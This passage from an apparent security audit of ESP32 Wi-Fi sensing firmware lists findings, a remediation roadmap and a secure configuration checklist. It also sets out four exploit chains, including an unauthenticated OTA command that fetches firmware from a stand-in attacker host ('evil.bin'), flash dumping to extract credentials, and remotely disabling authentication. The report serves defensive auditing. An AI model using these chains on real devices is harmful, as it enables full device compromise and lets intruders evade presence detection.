CONFIG_BOOTLOADER_APP_ANTI_ROLLBACK=y CONFIG_BOOTLOADER_APP_SECURE_VERSION=1 # Increment with each security-relevant release
VULN-023: PMF (802.11w) Not Explicitly Enabled
- Severity: Informational
- Category: F (WiFi)
- Location:
/home/user/git/esp32-hacking/get-started/csi_recv_router/sdkconfig.defaults - Description: Protected Management Frames (802.11w / PMF) is not explicitly enabled in the sdkconfig. While
CONFIG_EXAMPLE_WIFI_AUTH_WPA2_WPA3_PSK=yis set (which may imply PMF for WPA3), the device is susceptible to deauthentication attacks from the AP side if the router doesn't enforce PMF. The firmware already detects deauth floods (promiscuous mode), but enabling PMF would prevent them at the protocol level. - Remediation: Enable PMF:
CONFIG_ESP_WIFI_PMF_ENABLED=y CONFIG_ESP_WIFI_PMF_REQUIRED=y
VULN-024: Tight Stack Allocations on Several Tasks
-
Severity: Informational
-
Category: G (FreeRTOS)
-
Location:
/home/user/git/esp32-hacking/get-started/csi_recv_router/main/app_main.c, multiplexTaskCreatecalls -
Description: Several tasks have relatively tight stack allocations:
led_task: 2048 bytes (line 2611) -- adequate for simple GPIOreboot_after_delay: 1024 bytes (lines 1658, 2426) -- adequateadaptive: 3072 bytes (line 2710) -- does floating-point math and snprintf into 128-byte buffers; marginalcmd_task: 6144 bytes (line 2709) -- handlesreply_buf[1400]plus HMAC computation (mbedTLS context ~400 bytes); should be sufficient but tight with PROFILE command'smallocfor task statspowertest: 4096 bytes (line 2151) -- should be sufficientota_task: 8192 bytes (line 2131) -- adequate for HTTP client
The PROFILE command (lines 2046-2061) calls
malloc(n * sizeof(TaskStatus_t))within the cmd_task, which allocates on the heap, not the stack, so this is safe. However, the mbedTLS HMAC computation inauth_verify()uses a stack-allocatedmbedtls_md_context_twhich can be several hundred bytes. -
Remediation: Use
PROFILEcommand's task watermarks to verify actual stack usage in production. Consider increasingadaptivetask stack to 4096 if floating-point operations grow.
5. Exploit Chains
Chain 1: Unauthenticated Remote Code Execution (LAN)
Steps: VULN-007 + VULN-001
Path: Network -> Code Execution
- Attacker discovers device via mDNS (VULN-011):
avahi-browse -art | grep esp-csi - Attacker sends unauthenticated
CSI OFFto disable monitoring (VULN-007) - Attacker sends unauthenticated
LOG NONEto suppress logging (VULN-007) - Attacker sends unauthenticated
FLOODTHRESH 100 300to suppress deauth alerts (VULN-007) - If auth is disabled (or after obtaining secret via other means), send
OTA http://<attacker>/evil.bin - Device downloads and flashes attacker-controlled firmware (VULN-001)
- Device reboots with full attacker code execution
Impact: Complete device compromise, persistent across reboots.
Chain 2: Physical Access to Full Network Compromise
Steps: VULN-002 + VULN-006 + VULN-016
Path: Physical -> Credentials -> Network
- Attacker gains brief physical access to one deployed sensor
- Reads flash via esptool (no secure boot or encryption: VULN-002)
- Extracts Wi-Fi PSK from NVS (VULN-016)
- Extracts auth secret from NVS (VULN-006)
- Joins the Wi-Fi network using extracted credentials
- Has full authenticated access to ALL sensors on the same network (shared auth secret if default-generated)
- Can trigger OTA on all sensors for persistent compromise
Chain 3: Information Gathering to Targeted Attack
Steps: VULN-011 + VULN-012 + VULN-007
Path: Reconnaissance -> Manipulation
- Discover all sensors via mDNS (VULN-011)
- Query STATUS on each (no auth required) to get IDF version, firmware version, chip details (VULN-012)
- Identify the monitoring server IP from STATUS
target=field - Disable presence detection and CSI on all sensors (VULN-007)
- Physical intrusion proceeds undetected
Chain 4: Auth Secret Capture and Persistent Compromise
Steps: VULN-003 + VULN-005
Path: Serial Monitor -> Permanent Backdoor
- Attacker captures auth secret from serial log during provisioning (VULN-003)
- Sends
HMAC:<computed>:<ts>:AUTH OFFto disable authentication (VULN-005) - Device is now permanently open to unauthenticated commands
- Secret persists as empty string in NVS across reboots
- Attacker has persistent unauthenticated access to OTA, REBOOT, FACTORY
6. Prioritized Remediation Roadmap
Immediate (Ship-Blocking, Actively Exploitable)
| Priority | ID | Fix | Effort |
|---|---|---|---|
| P0 | VULN-001 | Disable CONFIG_ESP_HTTPS_OTA_ALLOW_HTTP, add TLS cert validation |
2h |
| P0 | VULN-007 | Require auth for all state-modifying commands | 1h |
| P0 | VULN-005 | Remove ability to disable auth remotely | 30m |
| P0 | VULN-003 | Stop logging auth secret in cleartext | 15m |
Short-Term (Fix Before Fleet Deployment)
| Priority | ID | Fix | Effort |
|---|---|---|---|
| P1 | VULN-010 | Fix buffer overflow potential in CSI serialization | 1h |
| P1 | VULN-004 | Implement source IP filtering on command socket | 2h |
| P1 | VULN-014 | Add mutex for shared calibration/presence state | 3h |
| P1 | VULN-009 | Add sequence counter for replay protection | 2h |
| P1 | VULN-017 | Add throttle to config_erase_key() |
15m |
| P1 | VULN-018 | Add rate limiting on command socket | 1h |
| P1 | VULN-019 | Add bounds check on probe body_len | 15m |
Medium-Term (Next Release Cycle)
| Priority | ID | Fix | Effort |
|---|---|---|---|
| P2 | VULN-012 | Move detailed STATUS info behind auth | 1h |
| P2 | VULN-011 | Make mDNS instance name configurable, reduce info leakage | 30m |
| P2 | VULN-020 | Replace example_connect() with production WiFi init |
4h |
| P2 | VULN-022 | Enable anti-rollback with eFuse version counter | 2h |
| P2 | VULN-021 | Increase HMAC tag to 128 bits | 1h |
| P2 | VULN-023 | Enable PMF (802.11w) | 30m |
Hardening (Defense-in-Depth)
| Priority | ID | Fix | Effort |
|---|---|---|---|
| P3 | VULN-002 | Enable secure boot and flash encryption (requires eFuse burn, one-way) | 8h |
| P3 | VULN-006 | Enable NVS encryption | 2h |
| P3 | VULN-016 | Enable NVS encryption (covers WiFi creds too) | (same as above) |
| P3 | VULN-015 | Disable UART console or reduce log level for production builds | 1h |
| P3 | VULN-008 | Bind command socket to specific interface IP | 1h |
| P3 | VULN-024 | Monitor and tune task stack sizes via PROFILE | 1h |
7. Appendix: Secure Configuration Checklist for ESP-IDF sdkconfig
# --- Security: Secure Boot ---
CONFIG_SECURE_BOOT=y
CONFIG_SECURE_BOOT_V2_ENABLED=y # Use V2 on supported chips
CONFIG_SECURE_BOOT_SIGNING_KEY="path/to/key.pem"
CONFIG_BOOTLOADER_APP_ANTI_ROLLBACK=y
CONFIG_BOOTLOADER_APP_SECURE_VERSION=1
# --- Security: Flash Encryption ---
CONFIG_SECURE_FLASH_ENC_ENABLED=y
CONFIG_SECURE_FLASH_ENCRYPTION_MODE_RELEASE=y # Development mode allows re-flash
CONFIG_NVS_ENCRYPTION=y
# --- Security: OTA ---
CONFIG_ESP_HTTPS_OTA_ALLOW_HTTP=n # [CURRENTLY: y -- CHANGE]
CONFIG_BOOTLOADER_APP_ROLLBACK_ENABLE=y # [ALREADY SET]
CONFIG_ESP_TLS_INSECURE=n
CONFIG_ESP_TLS_SKIP_SERVER_CERT_VERIFY=n
# --- Security: WiFi ---
CONFIG_ESP_WIFI_PMF_ENABLED=y
CONFIG_ESP_WIFI_PMF_REQUIRED=y
CONFIG_EXAMPLE_WIFI_AUTH_WPA2_WPA3_PSK=y # [ALREADY SET]
# --- Security: Debug ---
# For production, consider:
CONFIG_ESP_CONSOLE_NONE=y # Disable UART console
CONFIG_LOG_DEFAULT_LEVEL_WARN=y # Reduce log verbosity
# CONFIG_APPTRACE_DEST_JTAG is not set # [ALREADY NOT SET]
# --- Security: Stack Protection ---
CONFIG_COMPILER_STACK_CHECK_MODE_STRONG=y # Enable stack canaries
CONFIG_ESP_SYSTEM_MEMPROT_FEATURE=y # Memory protection (S2/S3/C3)
# --- Performance (already set) ---
CONFIG_COMPILER_OPTIMIZATION_SIZE=y # [ALREADY SET]
CONFIG_ESP_TASK_WDT_TIMEOUT_S=30 # [ALREADY SET]
CONFIG_FREERTOS_HZ=1000 # [ALREADY SET]
End of Report
This audit covers all requested categories (A through J), identifies 24 findings across all severity levels, maps 4 exploit chains, and provides a prioritized remediation roadmap with estimated effort. The P0 fixes (VULN-001, VULN-003, VULN-005, VULN-007) collectively address the most critical attack paths and can be implemented in approximately 4 hours of development effort.